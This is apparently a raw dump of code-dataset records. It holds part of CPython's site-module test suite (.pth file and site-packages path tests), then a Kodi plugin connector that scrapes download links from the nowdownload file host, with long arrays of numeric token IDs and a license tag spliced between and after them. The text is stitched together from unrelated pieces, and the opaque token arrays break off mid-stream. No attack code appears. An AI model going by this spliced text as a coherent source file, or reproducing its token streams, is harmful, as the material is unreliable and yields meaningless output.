matter. The next three could be a single check # but my regex foo isn't good enough to write it. self.assertRegex(err_out.getvalue(), 'Traceback') self.assertRegex(err_out.getvalue(), r'import bad\)syntax') self.assertRegex(err_out.getvalue(), 'SyntaxError') def test_addpackage_import_bad_exec(self): # Issue 10642 pth_dir, pth_fn = self.make_pth("randompath\nimport nosuchmodule\n") with captured_stderr() as err_out: site.addpackage(pth_dir, pth_fn, set()) self.assertRegex(err_out.getvalue(), "line 2") self.assertRegex(err_out.getvalue(), re.escape(os.path.join(pth_dir, pth_fn))) # XXX: ditto previous XXX comment. self.assertRegex(err_out.getvalue(), 'Traceback') self.assertRegex(err_out.getvalue(), 'ImportError') @unittest.skipIf(sys.platform == "win32", "Windows does not raise an " "error for file paths containing null characters") def test_addpackage_import_bad_pth_file(self): # Issue 5258 pth_dir, pth_fn = self.make_pth("abc\x00def\n") with captured_stderr() as err_out: site.addpackage(pth_dir, pth_fn, set()) self.assertRegex(err_out.getvalue(), "line 1") self.assertRegex(err_out.getvalue(), re.escape(os.path.join(pth_dir, pth_fn))) # XXX: ditto previous XXX comment. self.assertRegex(err_out.getvalue(), 'Traceback') self.assertRegex(err_out.getvalue(), 'TypeError') def test_addsitedir(self): # Same tests for test_addpackage since addsitedir() essentially just # calls addpackage() for every .pth file in the directory pth_file = PthFile() pth_file.cleanup(prep=True) # Make sure that nothing is pre-existing # that is tested for try: pth_file.create() site.addsitedir(pth_file.base_dir, set()) self.pth_file_tests(pth_file) finally: pth_file.cleanup() def test_s_option(self): usersite = site.USER_SITE self.assertIn(usersite, sys.path) env = os.environ.copy() rc = subprocess.call([sys.executable, '-c', 'import sys; sys.exit(%r in sys.path)' % usersite], env=env) self.assertEqual(rc, 1) env = os.environ.copy() rc = subprocess.call([sys.executable, '-s', '-c', 'import sys; sys.exit(%r in sys.path)' % usersite], env=env) self.assertEqual(rc, 0) env = os.environ.copy() env["PYTHONNOUSERSITE"] = "1" rc = subprocess.call([sys.executable, '-c', 'import sys; sys.exit(%r in sys.path)' % usersite], env=env) self.assertEqual(rc, 0) env = os.environ.copy() env["PYTHONUSERBASE"] = "/tmp" rc = subprocess.call([sys.executable, '-c', 'import sys, site; sys.exit(site.USER_BASE.startswith("/tmp"))'], env=env) self.assertEqual(rc, 1) def test_getuserbase(self): site.USER_BASE = None user_base = site.getuserbase() # the call sets site.USER_BASE self.assertEqual(site.USER_BASE, user_base) # let's set PYTHONUSERBASE and see if it uses it site.USER_BASE = None import sysconfig sysconfig._CONFIG_VARS = None with EnvironmentVarGuard() as environ: environ['PYTHONUSERBASE'] = 'xoxo' self.assertTrue(site.getuserbase().startswith('xoxo'), site.getuserbase()) def test_getusersitepackages(self): site.USER_SITE = None site.USER_BASE = None user_site = site.getusersitepackages() # the call sets USER_BASE *and* USER_SITE self.assertEqual(site.USER_SITE, user_site) self.assertTrue(user_site.startswith(site.USER_BASE), user_site) def test_getsitepackages(self): site.PREFIXES = ['xoxo'] dirs = site.getsitepackages() if sys.platform in ('os2emx', 'riscos'): self.assertEqual(len(dirs), 1) wanted = os.path.join('xoxo', 'Lib', 'site-packages') self.assertEqual(dirs[0], wanted) elif os.sep == '/': self.assertEqual(len(dirs), 2) wanted = os.path.join('xoxo', 'lib', 'python' + sys.version[:3], 'site-packages') self.assertEqual(dirs[0], wanted) wanted = os.path.join('xoxo', 'lib', 'site-python') self.assertEqual(dirs[1], wanted) else: self.assertEqual(len(dirs), 2) self.assertEqual(dirs[0], 'xoxo') wanted = os.path.join('xoxo', 'lib', 'site-packages') self.assertEqual(dirs[1], wanted) # let's try the specific Apple location if (sys.platform == "darwin" and sysconfig.get_config_var("PYTHONFRAMEWORK")): site.PREFIXES = ['Python.framework'] dirs = site.getsitepackages() self.assertEqual(len(dirs), 3) wanted = os.path.join('/Library', 'Python', sys.version[:3], 'site-packages') self.assertEqual(dirs[2], wanted) class PthFile(object): """Helper class for handling testing of .pth files""" def __init__(self, filename_base=TESTFN, imported="time", good_dirname="__testdir__", bad_dirname="__bad"): """Initialize instance variables""" self.filename = filename_base + ".pth" self.base_dir = os.path.abspath('') self.file_path = os.path.join(self.base_dir, self.filename) self.imported = imported self.good_dirname = good_dirname self.bad_dirname = bad_dirname self.good_dir_path = os.path.join(self.base_dir, self.good_dirname) self.bad_dir_path = os.path.join(self.base_dir, self.bad_dirname) def create(self): """Create a .pth file with a comment, blank lines, an ``import <self.imported>``, a line with self.good_dirname, and a line with self.bad_dirname. Creation of the directory for self.good_dir_path (based off of self.good_dirname) is also performed. Make sure to call self.cleanup() to undo anything done by this method. """ FILE = open(self.file_path, 'w') try: print("#import @bad module name", file=FILE) print("\n", file=FILE) print("import %s" % self.imported, file=FILE) print(self.good_dirname, file=FILE) print(self.bad_dirname, file=FILE) finally: FILE.close() os.mkdir(self.good_dir_path) def cleanup(self, prep=False): """Make sure that the .pth file is deleted, self.imported is not in sys.modules, and that both self.good_dirname and self.bad_dirname are not existing directories.""" if os.path.exists(self.file_path): os.remove(self.file_path) if prep: self.imported_module = sys.modules.get(self.imported) if self.imported_module: del sys.modules[self.imported] else: if self.imported_module: sys.modules[self.imported] = self.imported_module if os.path.exists(self.good_dir_path): os.rmdir(self.good_dir_path) if os.path.exists(self.bad_dir_path): os.rmdir(self.bad_dir_path) class ImportSideEffectTests(unittest.TestCase): """Test side-effects from importing 'site'.""" def setUp(self): """Make a copy of sys.path""" self.sys_path = sys.path[:] def tearDown(self): """Restore sys.path""" sys.path[:] = self.sys_path def test_abs_paths(self): # Make sure all imported modules have their __file__ and __cached__ # attributes as absolute paths. Arranging to put the Lib directory on # PYTHONPATH would cause the os module to have a relative path for # __file__ if abs_paths() does not get run. sys and builtins (the # only other modules imported before site.py runs) do not have # __file__ or __cached__ because they are built-in. parent = os.path.relpath(os.path.dirname(os.__file__)) env = os.environ.copy() env['PYTHONPATH'] = parent code = ('import os, sys', # use ASCII to avoid locale issues with non-ASCII directories 'os_file = os.__file__.encode("ascii", "backslashreplace")', r'sys.stdout.buffer.write(os_file + b"\n")', 'os_cached = os.__cached__.encode("ascii", "backslashreplace")', r'sys.stdout.buffer.write(os_cached + b"\n")') command = '\n'.join(code) # First, prove that with -S (no 'import site'), the paths are # relative. proc = subprocess.Popen([sys.executable, '-S', '-c', command], env=env, stdout=subprocess.PIPE) stdout, stderr = proc.communicate() self.assertEqual(proc.returncode, 0) os__file__, os__cached__ = stdout.splitlines()[:2] self.assertFalse(os.path.isabs(os__file__)) self.assertFalse(os.path.isabs(os__cached__)) # Now, with 'import site', it works. proc = subprocess.Popen([sys.executable, '-c', command], env=env, stdout=subprocess.PIPE) stdout, stderr = proc.communicate() self.assertEqual(proc.returncode, 0) os__file__, os__cached__ = stdout.splitlines()[:2] self.assertTrue(os.path.isabs(os__file__)) self.assertTrue(os.path.isabs(os__cached__)) def test_no_duplicate_paths(self): # No duplicate paths should exist in sys.path # Handled by removeduppaths() site.removeduppaths() seen_paths = set() for path in sys.path: self.assertNotIn(path, seen_paths) seen_paths.add(path) def test_add_build_dir(self): # Test that the build directory's Modules directory is used when it # should be. # XXX: implement pass def test_setting_quit(self): # 'quit' and 'exit' should be injected into builtins self.assertTrue(hasattr(builtins, "quit")) self.assertTrue(hasattr(builtins, "exit")) def test_setting_copyright(self): # 'copyright' and 'credits' should be in builtins self.assertTrue(hasattr(builtins, "copyright")) self.assertTrue(hasattr(builtins, "credits")) def test_setting_help(self): # 'help' should be set in builtins self.assertTrue(hasattr(builtins, "help")) def test_aliasing_mbcs(self): if sys.platform == "win32": import locale if locale.getdefaultlocale()[1].startswith('cp'): for value in encodings.aliases.aliases.values(): if value == "mbcs": break else: self.fail("did not alias mbcs") def test_sitecustomize_executed(self): # If sitecustomize is available, it should have been imported. if "sitecustomize" not in sys.modules: try: import sitecustomize except ImportError: pass else: self.fail("sitecustomize not imported automatically") def test_main(): run_unittest(HelperFunctionsTests, ImportSideEffectTests) if __name__ == "__main__": test_main()
apache-2.0
[ 624, 2925, 367, 283, 2124, 1370, 199, 199, 2925, 5534, 314, 2536, 3792, 315, 984, 14, 515, 5403, 314, 12693, 965, 506, 17924, 199, 23722, 1172, 440, 2757, 4829, 14, 199, 199, 624, 199, 646, 2882, 199, 504, 511, 14, 4058, 492, 1255, 63, 2796, 12, 25788, 12, 9711, 5894, 18183, 199, 504, 511, 14, 4058, 492, 17487, 63, 3083, 199, 646, 12963, 199, 646, 747, 199, 646, 984, 199, 646, 295, 199, 646, 14134, 199, 646, 3873, 199, 646, 22381, 199, 504, 1331, 492, 1331, 199, 199, 3, 14012, 370, 1852, 3238, 370, 440, 492, 283, 2124, 7, 340, 17122, 2013, 27810, 51, 1040, 737, 314, 199, 3, 1414, 13, 604, 14, 221, 30577, 642, 701, 2951, 10663, 3238, 283, 2124, 7, 965, 440, 2757, 8439, 199, 3, 2575, 14, 199, 692, 298, 2124, 2, 315, 984, 14, 3112, 26, 272, 492, 4770, 199, 2836, 26, 272, 746, 2882, 14, 25755, 480, 646, 425, 402, 4770, 14, 647, 30581, 531, 199, 199, 692, 440, 747, 14, 515, 14, 6027, 8, 2124, 14, 3791, 63, 7917, 304, 272, 327, 1929, 370, 1050, 922, 4770, 2082, 367, 2295, 272, 747, 14, 8347, 8, 2124, 14, 3791, 63, 7917, 9, 272, 4770, 14, 525, 2124, 694, 8, 2124, 14, 3791, 63, 7917, 9, 199, 199, 533, 11642, 13967, 2925, 8, 2796, 14, 1746, 304, 272, 408, 2925, 367, 5922, 3423, 14, 272, 408, 339, 347, 3613, 8, 277, 304, 267, 408, 8229, 282, 1331, 402, 984, 14, 515, 624, 267, 291, 14, 1274, 63, 515, 275, 984, 14, 515, 5873, 267, 291, 14, 1753, 63, 1095, 275, 4770, 14, 3791, 63, 5825, 267, 291, 14, 1753, 63, 2124, 275, 4770, 14, 3791, 63, 7917, 267, 291, 14, 1753, 63, 14124, 275, 4770, 14, 6351, 654, 267, 291, 14, 1753, 63, 2936, 275, 1331, 8, 24030, 423, 5569, 63, 21367, 9, 339, 347, 6766, 8, 277, 304, 267, 408, 21012, 984, 14, 515, 624, 267, 984, 14, 515, 5873, 275, 291, 14, 1274, 63, 515, 267, 4770, 14, 3791, 63, 5825, 275, 291, 14, 1753, 63, 1095, 267, 4770, 14, 3791, 63, 7917, 275, 291, 14, 1753, 63, 2124, 267, 4770, 14, 6351, 654, 275, 291, 14, 1753, 63, 14124, 267, 22381, 423, 5569, 63, 21367, 275, 291, 14, 1753, 63, 2936, 339, 347, 511, 63, 1875, 515, 8, 277, 304, 267, 327, 1379, 1852, 515, 342, 1172, 376, 3679, 931, 367, 2399, 1642, 372, 574, 267, 327, 436, 282, 1930, 13, 12916, 1015, 402, 314, 3679, 931, 367, 2399, 267, 327, 3499, 574, 14, 267, 931, 63, 4181, 275, 1689, 5595, 1835, 401, 298, 3005, 531, 267, 3379, 63, 694, 275, 747, 14, 515, 14, 904, 2031, 515, 63, 4181, 9, 267, 2853, 63, 694, 12, 6316, 63, 694, 275, 4770, 14, 1875, 515, 2031, 515, 63, 4181, 9, 267, 291, 14, 629, 8, 736, 14, 515, 14, 4832, 8, 5043, 63, 694, 395, 2853, 63, 694, 9, 267, 340, 3379, 63, 694, 508, 747, 14, 515, 14, 21288, 8, 5043, 63, 694, 304, 288, 291, 14, 629, 8, 2101, 63, 694, 12, 6316, 63, 694, 9, 267, 587, 26, 288, 291, 14, 629, 8, 736, 14, 515, 14, 21288, 8, 2101, 63, 694, 395, 6316, 63, 694, 9, 339, 347, 511, 63, 826, 63, 515, 815, 8, 277, 304, 267, 2935, 63, 409, 275, 4770, 423, 826, 63, 515, 815, 342, 267, 367, 2397, 315, 359, 2124, 14, 1875, 515, 8, 515, 2788, 17, 61, 367, 931, 315, 984, 14, 515, 717, 340, 931, 436, 747, 14, 515, 14, 6027, 8, 515, 19532, 288, 291, 14, 4080, 8, 2373, 12, 2935, 63, 409, 12, 2079, 2071, 83, 687, 984, 14, 515, 440, 1911, 315, 663, 2138, 298, 2079, 298, 991, 485, 826, 63, 515, 815, 837, 450, 83, 2, 450, 334, 2373, 12, 2935, 63, 409, 430, 339, 347, 25504, 63, 493, 63, 2219, 8, 277, 12, 25504, 63, 493, 304, 267, 408, 31266, 2863, 1233, 367, 5343, 2058, 402, 7664, 282, 1275, 13316, 570, 624, 267, 291, 14, 4080, 8, 13316, 63, 493, 14, 17932, 12, 984, 14, 3112, 12, 1993, 2071, 83, 440, 315, 984, 14, 3112, 2, 450, 25504, 63, 493, 14, 17932, 9, 267, 291, 14, 4080, 8, 2124, 14, 1875, 515, 8, 13316, 63, 493, 14, 8302, 63, 694, 63, 515, 2788, 16, 467, 984, 14, 515, 9, 267, 291, 14, 3334, 8, 736, 14, 515, 14, 2444, 8, 13316, 63, 493, 14, 4087, 63, 694, 63, 515, 430, 339, 347, 511, 63, 525, 2491, 8, 277, 304, 267, 327, 4155, 3238, 1050, 2491, 342, 8925, 340, 314, 1004, 9174, 543, 283, 646, 297, 267, 327, 9584, 6602, 370, 984, 14, 515, 367, 1263, 1004, 315, 314, 570, 626, 365, 440, 282, 267, 327, 3721, 503, 492, 626, 365, 282, 1686, 2082, 536, 367, 2382, 314, 1275, 13316, 267, 327, 570, 295, 19564, 27, 3866, 6602, 787, 440, 3483, 267, 25504, 63, 493, 275, 510, 273, 1173, 342, 267, 25504, 63, 493, 14, 7661, 8, 10837, 29, 549, 9, 221, 327, 370, 1852, 3238, 626, 6548, 365, 4228, 327, 876, 13, 5952, 626, 9296, 1133, 506, 267, 862, 26, 288, 25504, 63, 493, 14, 981, 342, 288, 4770, 14, 525, 2491, 8, 13316, 63, 493, 14, 1095, 63, 694, 12, 25504, 63, 493, 14, 1501, 12, 663, 1012, 288, 291, 14, 13316, 63, 493, 63, 2219, 8, 13316, 63, 493, 9, 267, 3753, 26, 288, 25504, 63, 493, 14, 7661, 342, 339, 347, 1852, 63, 13316, 8, 277, 12, 4072, 12, 25504, 63, 694, 534, 3130, 25504, 63, 354, 29, 10179, 304, 267, 327, 2790, 282, 1275, 13316, 570, 436, 372, 2399, 334, 4832, 12, 9593, 680, 267, 25504, 63, 694, 275, 747, 14, 515, 14, 4832, 8, 13316, 63, 694, 9, 267, 25504, 63, 4846, 275, 25504, 63, 354, 435, 1987, 13316, 7, 267, 25504, 63, 2324, 275, 747, 14, 515, 14, 904, 8, 13316, 63, 694, 12, 25504, 63, 4846, 9, 267, 25504, 63, 493, 275, 1551, 8, 13316, 63, 2324, 12, 283, 87, 297, 2644, 534, 1624, 13, 24, 358, 267, 291, 14, 12808, 8, 2734, 26, 747, 14, 2168, 8, 13316, 63, 2324, 430, 267, 25504 ]
[ 2925, 367, 283, 2124, 1370, 199, 199, 2925, 5534, 314, 2536, 3792, 315, 984, 14, 515, 5403, 314, 12693, 965, 506, 17924, 199, 23722, 1172, 440, 2757, 4829, 14, 199, 199, 624, 199, 646, 2882, 199, 504, 511, 14, 4058, 492, 1255, 63, 2796, 12, 25788, 12, 9711, 5894, 18183, 199, 504, 511, 14, 4058, 492, 17487, 63, 3083, 199, 646, 12963, 199, 646, 747, 199, 646, 984, 199, 646, 295, 199, 646, 14134, 199, 646, 3873, 199, 646, 22381, 199, 504, 1331, 492, 1331, 199, 199, 3, 14012, 370, 1852, 3238, 370, 440, 492, 283, 2124, 7, 340, 17122, 2013, 27810, 51, 1040, 737, 314, 199, 3, 1414, 13, 604, 14, 221, 30577, 642, 701, 2951, 10663, 3238, 283, 2124, 7, 965, 440, 2757, 8439, 199, 3, 2575, 14, 199, 692, 298, 2124, 2, 315, 984, 14, 3112, 26, 272, 492, 4770, 199, 2836, 26, 272, 746, 2882, 14, 25755, 480, 646, 425, 402, 4770, 14, 647, 30581, 531, 199, 199, 692, 440, 747, 14, 515, 14, 6027, 8, 2124, 14, 3791, 63, 7917, 304, 272, 327, 1929, 370, 1050, 922, 4770, 2082, 367, 2295, 272, 747, 14, 8347, 8, 2124, 14, 3791, 63, 7917, 9, 272, 4770, 14, 525, 2124, 694, 8, 2124, 14, 3791, 63, 7917, 9, 199, 199, 533, 11642, 13967, 2925, 8, 2796, 14, 1746, 304, 272, 408, 2925, 367, 5922, 3423, 14, 272, 408, 339, 347, 3613, 8, 277, 304, 267, 408, 8229, 282, 1331, 402, 984, 14, 515, 624, 267, 291, 14, 1274, 63, 515, 275, 984, 14, 515, 5873, 267, 291, 14, 1753, 63, 1095, 275, 4770, 14, 3791, 63, 5825, 267, 291, 14, 1753, 63, 2124, 275, 4770, 14, 3791, 63, 7917, 267, 291, 14, 1753, 63, 14124, 275, 4770, 14, 6351, 654, 267, 291, 14, 1753, 63, 2936, 275, 1331, 8, 24030, 423, 5569, 63, 21367, 9, 339, 347, 6766, 8, 277, 304, 267, 408, 21012, 984, 14, 515, 624, 267, 984, 14, 515, 5873, 275, 291, 14, 1274, 63, 515, 267, 4770, 14, 3791, 63, 5825, 275, 291, 14, 1753, 63, 1095, 267, 4770, 14, 3791, 63, 7917, 275, 291, 14, 1753, 63, 2124, 267, 4770, 14, 6351, 654, 275, 291, 14, 1753, 63, 14124, 267, 22381, 423, 5569, 63, 21367, 275, 291, 14, 1753, 63, 2936, 339, 347, 511, 63, 1875, 515, 8, 277, 304, 267, 327, 1379, 1852, 515, 342, 1172, 376, 3679, 931, 367, 2399, 1642, 372, 574, 267, 327, 436, 282, 1930, 13, 12916, 1015, 402, 314, 3679, 931, 367, 2399, 267, 327, 3499, 574, 14, 267, 931, 63, 4181, 275, 1689, 5595, 1835, 401, 298, 3005, 531, 267, 3379, 63, 694, 275, 747, 14, 515, 14, 904, 2031, 515, 63, 4181, 9, 267, 2853, 63, 694, 12, 6316, 63, 694, 275, 4770, 14, 1875, 515, 2031, 515, 63, 4181, 9, 267, 291, 14, 629, 8, 736, 14, 515, 14, 4832, 8, 5043, 63, 694, 395, 2853, 63, 694, 9, 267, 340, 3379, 63, 694, 508, 747, 14, 515, 14, 21288, 8, 5043, 63, 694, 304, 288, 291, 14, 629, 8, 2101, 63, 694, 12, 6316, 63, 694, 9, 267, 587, 26, 288, 291, 14, 629, 8, 736, 14, 515, 14, 21288, 8, 2101, 63, 694, 395, 6316, 63, 694, 9, 339, 347, 511, 63, 826, 63, 515, 815, 8, 277, 304, 267, 2935, 63, 409, 275, 4770, 423, 826, 63, 515, 815, 342, 267, 367, 2397, 315, 359, 2124, 14, 1875, 515, 8, 515, 2788, 17, 61, 367, 931, 315, 984, 14, 515, 717, 340, 931, 436, 747, 14, 515, 14, 6027, 8, 515, 19532, 288, 291, 14, 4080, 8, 2373, 12, 2935, 63, 409, 12, 2079, 2071, 83, 687, 984, 14, 515, 440, 1911, 315, 663, 2138, 298, 2079, 298, 991, 485, 826, 63, 515, 815, 837, 450, 83, 2, 450, 334, 2373, 12, 2935, 63, 409, 430, 339, 347, 25504, 63, 493, 63, 2219, 8, 277, 12, 25504, 63, 493, 304, 267, 408, 31266, 2863, 1233, 367, 5343, 2058, 402, 7664, 282, 1275, 13316, 570, 624, 267, 291, 14, 4080, 8, 13316, 63, 493, 14, 17932, 12, 984, 14, 3112, 12, 1993, 2071, 83, 440, 315, 984, 14, 3112, 2, 450, 25504, 63, 493, 14, 17932, 9, 267, 291, 14, 4080, 8, 2124, 14, 1875, 515, 8, 13316, 63, 493, 14, 8302, 63, 694, 63, 515, 2788, 16, 467, 984, 14, 515, 9, 267, 291, 14, 3334, 8, 736, 14, 515, 14, 2444, 8, 13316, 63, 493, 14, 4087, 63, 694, 63, 515, 430, 339, 347, 511, 63, 525, 2491, 8, 277, 304, 267, 327, 4155, 3238, 1050, 2491, 342, 8925, 340, 314, 1004, 9174, 543, 283, 646, 297, 267, 327, 9584, 6602, 370, 984, 14, 515, 367, 1263, 1004, 315, 314, 570, 626, 365, 440, 282, 267, 327, 3721, 503, 492, 626, 365, 282, 1686, 2082, 536, 367, 2382, 314, 1275, 13316, 267, 327, 570, 295, 19564, 27, 3866, 6602, 787, 440, 3483, 267, 25504, 63, 493, 275, 510, 273, 1173, 342, 267, 25504, 63, 493, 14, 7661, 8, 10837, 29, 549, 9, 221, 327, 370, 1852, 3238, 626, 6548, 365, 4228, 327, 876, 13, 5952, 626, 9296, 1133, 506, 267, 862, 26, 288, 25504, 63, 493, 14, 981, 342, 288, 4770, 14, 525, 2491, 8, 13316, 63, 493, 14, 1095, 63, 694, 12, 25504, 63, 493, 14, 1501, 12, 663, 1012, 288, 291, 14, 13316, 63, 493, 63, 2219, 8, 13316, 63, 493, 9, 267, 3753, 26, 288, 25504, 63, 493, 14, 7661, 342, 339, 347, 1852, 63, 13316, 8, 277, 12, 4072, 12, 25504, 63, 694, 534, 3130, 25504, 63, 354, 29, 10179, 304, 267, 327, 2790, 282, 1275, 13316, 570, 436, 372, 2399, 334, 4832, 12, 9593, 680, 267, 25504, 63, 694, 275, 747, 14, 515, 14, 4832, 8, 13316, 63, 694, 9, 267, 25504, 63, 4846, 275, 25504, 63, 354, 435, 1987, 13316, 7, 267, 25504, 63, 2324, 275, 747, 14, 515, 14, 904, 8, 13316, 63, 694, 12, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
jose36/plugin.video.Jmdl2
servers/nowdownload.py
44
2861
# -*- coding: utf-8 -*- #------------------------------------------------------------ # pelisalacarta - XBMC Plugin # Conector para nowdownload # http://blog.tvalacarta.info/plugin-xbmc/pelisalacarta/ #------------------------------------------------------------ import urlparse,urllib2,urllib,re import os from core import scrapertools from core import logger from core import config def test_video_exists( page_url ): return True,"" def get_video_url( page_url , premium = False , user="" , password="", video_password="" ): logger.info("[nowdownload.py] get_video_url (page_url='%s')" % page_url) ''' <a href="http://f02.nowdownload.co/dl/91efaa9ec507ef4de023cd62bb9a0fe2/50ab76ac/6711c9c90ebf3_family.guy.s11e02.italian.subbed.hdtv.xvid_gannico.avi" class="btn btn-danger"><i class="icon-white icon-download"></i> Download Now</a> ''' data = scrapertools.cache_page( page_url ) logger.debug("[nowdownload.py] data:" + data) try: url = scrapertools.get_match(data,'<a href="([^"]*)" class="btn btn-danger"><i class="icon-white icon-download"></i> Download Now</a>') except: #$.get("/api/token.php?token=7e1ab09df2775dbea02506e1a2651883"); token = scrapertools.get_match(data,'(/api/token.php\?token=[^"]*)') logger.debug("[nowdownload.py] token:" + token) d= scrapertools.cache_page( "http://www.nowdownload.co"+ token ) url = scrapertools.get_match(data,'expiryText: \'<a class="btn btn-danger" href="([^"]*)') logger.debug("[nowdownload.py] url_1:" + url) data = scrapertools.cache_page("http://www.nowdownload.co" + url ) logger.debug("[nowdownload.py] data:" + data) #<a href="http://f03.nowdownload.co/dl/8ec5470153bb7a2177847ca7e1638389/50ab71b3/f92882f4d33a5_squadra.antimafia_palermo.oggi.4x01.episodio.01.ita.satrip.xvid_upz.avi" class="btn btn-success">Click here to download !</a> url = scrapertools.get_match(data,'<a href="([^"]*)" class="btn btn-success">Click here to download !</a>') logger.debug("[nowdownload.py] url_final:" + url) video_urls = [url] return video_urls # Encuentra vídeos del servidor en el texto pasado def find_videos(data): encontrados = set() devuelve = [] #http://www.nowdownload.co/dl/9gwahc3577hj9 #http://www.nowdownload.eu/dl/srv4g94wk6j7b patronvideos = '(nowdownload.\w{2}/dl/[a-z0-9]+)' logger.info("[nowdownload.py] find_videos #"+patronvideos+"#") matches = re.compile(patronvideos,re.DOTALL).findall(data) for match in matches: titulo = "[nowdownload]" url = "http://www."+match if url not in encontrados: logger.info(" url="+url) devuelve.append( [ titulo , url , 'nowdownload' ] ) encontrados.add(url) else: logger.info(" url duplicada="+url) return devuelve
apache-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 17807, 4559, 199, 3, 4837, 317, 6327, 645, 29549, 446, 1323, 28994, 11349, 199, 3, 445, 368, 630, 12665, 3063, 4249, 199, 3, 1455, 921, 11486, 14, 84, 637, 645, 29549, 14, 815, 15, 2718, 13, 21382, 15, 321, 317, 6327, 645, 29549, 15, 199, 17807, 4559, 199, 199, 646, 7097, 12, 4078, 18, 12, 4078, 12, 264, 199, 646, 747, 199, 199, 504, 6170, 492, 28348, 199, 504, 6170, 492, 2512, 199, 504, 6170, 492, 1101, 199, 199, 318, 511, 63, 3722, 63, 2444, 8, 2034, 63, 633, 3461, 272, 372, 715, 12, 341, 199, 199, 318, 664, 63, 3722, 63, 633, 8, 2034, 63, 633, 2360, 876, 23481, 275, 756, 2360, 922, 9287, 2360, 2505, 8772, 3991, 63, 2060, 9287, 3461, 272, 2512, 14, 815, 10994, 2131, 4249, 14, 647, 61, 664, 63, 3722, 63, 633, 334, 1606, 63, 633, 9569, 83, 19124, 450, 2034, 63, 633, 9, 2286, 1449, 272, 665, 65, 4369, 628, 1014, 921, 70, 996, 14, 2131, 4249, 14, 331, 15, 5030, 15, 3328, 25015, 65, 25, 825, 13583, 2829, 20, 271, 16771, 2866, 2789, 2501, 25, 65, 16, 771, 18, 15, 1400, 371, 2114, 645, 15, 1822, 845, 67, 25, 67, 2710, 2871, 70, 19, 63, 6606, 14, 6051, 89, 14, 83, 845, 69, 996, 14, 6910, 5653, 14, 954, 6123, 14, 72, 3583, 86, 14, 88, 5017, 63, 71, 1189, 12802, 14, 7194, 2, 1021, 628, 9633, 19368, 13, 68, 12974, 8186, 73, 1021, 628, 4677, 13, 7510, 7016, 13, 4249, 10070, 73, 30, 17955, 7356, 1108, 65, 30, 272, 1449, 272, 666, 275, 28348, 14, 1637, 63, 1606, 8, 2034, 63, 633, 776, 272, 2512, 14, 1757, 10994, 2131, 4249, 14, 647, 61, 666, 5424, 435, 666, 9, 272, 862, 26, 267, 1166, 275, 28348, 14, 362, 63, 1431, 8, 576, 2584, 28, 65, 4369, 24296, 25952, 1021, 628, 9633, 19368, 13, 68, 12974, 8186, 73, 1021, 628, 4677, 13, 7510, 7016, 13, 4249, 10070, 73, 30, 17955, 7356, 1108, 65, 5971, 272, 871, 26, 267, 327, 4, 14, 362, 4769, 1246, 15, 1418, 14, 8624, 31, 1418, 29, 23, 69, 17, 371, 1643, 1587, 9963, 21, 697, 4489, 18823, 1690, 69, 17, 65, 13730, 1085, 2658, 3547, 1362, 198, 1418, 275, 28348, 14, 362, 63, 1431, 8, 576, 2584, 29478, 1246, 15, 1418, 14, 8624, 29635, 1418, 1524, 62, 937, 10, 5942, 1362, 198, 2921, 14, 1757, 10994, 2131, 4249, 14, 647, 61, 1526, 5424, 435, 1526, 9, 1362, 198, 68, 29, 28348, 14, 1637, 63, 1606, 8, 298, 1014, 921, 1544, 14, 2131, 4249, 14, 331, 7709, 1526, 776, 1362, 198, 633, 275, 28348, 14, 362, 63, 1431, 8, 576, 2584, 16844, 1872, 26, 971, 7601, 65, 1021, 628, 9633, 19368, 13, 68, 12974, 2, 4369, 24296, 10, 5942, 1362, 198, 2921, 14, 1757, 10994, 2131, 4249, 14, 647, 61, 1166, 63, 17, 5424, 435, 1166, 9, 1362, 198, 576, 275, 28348, 14, 1637, 63, 1606, 480, 1014, 921, 1544, 14, 2131, 4249, 14, 331, 2, 435, 1166, 776, 1362, 198, 2921, 14, 1757, 10994, 2131, 4249, 14, 647, 61, 666, 5424, 435, 666, 9, 1362, 198, 3, 28, 65, 4369, 628, 1014, 921, 70, 1644, 14, 2131, 4249, 14, 331, 15, 5030, 15, 24, 825, 16710, 614, 2481, 2501, 23, 65, 2025, 1138, 15883, 696, 23, 69, 975, 15504, 1407, 15, 1400, 371, 3172, 66, 19, 15, 70, 2942, 19119, 70, 20, 68, 1153, 65, 21, 63, 8471, 350, 345, 14, 4466, 391, 329, 65, 63, 387, 1435, 573, 14, 974, 6153, 14, 20, 88, 614, 14, 1545, 4595, 3006, 14, 614, 14, 21492, 14, 14997, 24210, 14, 88, 5017, 63, 384, 90, 14, 7194, 2, 1021, 628, 9633, 19368, 13, 3742, 1743, 12040, 2348, 370, 5235, 8546, 1108, 65, 30, 1362, 198, 633, 275, 28348, 14, 362, 63, 1431, 8, 576, 2584, 28, 65, 4369, 24296, 25952, 1021, 628, 9633, 19368, 13, 3742, 1743, 12040, 2348, 370, 5235, 8546, 1108, 65, 5971, 1362, 198, 2921, 14, 1757, 10994, 2131, 4249, 14, 647, 61, 1166, 63, 5094, 5424, 435, 1166, 9, 2286, 3991, 63, 3603, 275, 359, 633, 61, 272, 372, 3991, 63, 3603, 199, 199, 3, 3447, 15140, 484, 345, 373, 13676, 18808, 2150, 8926, 5017, 269, 655, 579, 1318, 79, 19099, 5129, 199, 318, 2342, 63, 11418, 8, 576, 304, 272, 655, 17926, 18339, 275, 663, 342, 272, 4866, 13086, 432, 275, 942, 339, 327, 1014, 921, 1544, 14, 2131, 4249, 14, 331, 15, 5030, 15, 25, 71, 758, 15907, 1276, 1138, 72, 74, 25, 272, 327, 1014, 921, 1544, 14, 2131, 4249, 14, 16913, 15, 5030, 15, 15165, 20, 71, 2635, 14947, 22, 74, 23, 66, 272, 32500, 11418, 221, 275, 8189, 2131, 4249, 3134, 87, 91, 18, 5995, 5030, 32418, 65, 13, 90, 16, 13, 25, 29716, 272, 2512, 14, 815, 10994, 2131, 4249, 14, 647, 61, 2342, 63, 11418, 327, 7709, 10853, 2641, 11418, 5207, 3, 531, 272, 4450, 275, 295, 14, 2014, 8, 10853, 2641, 11418, 12, 264, 14, 16504, 680, 6452, 8, 576, 9, 339, 367, 1336, 315, 4450, 26, 267, 3367, 10963, 320, 275, 7369, 2131, 4249, 8480, 267, 1166, 275, 298, 1014, 921, 1544, 2122, 11, 1431, 267, 340, 1166, 440, 315, 655, 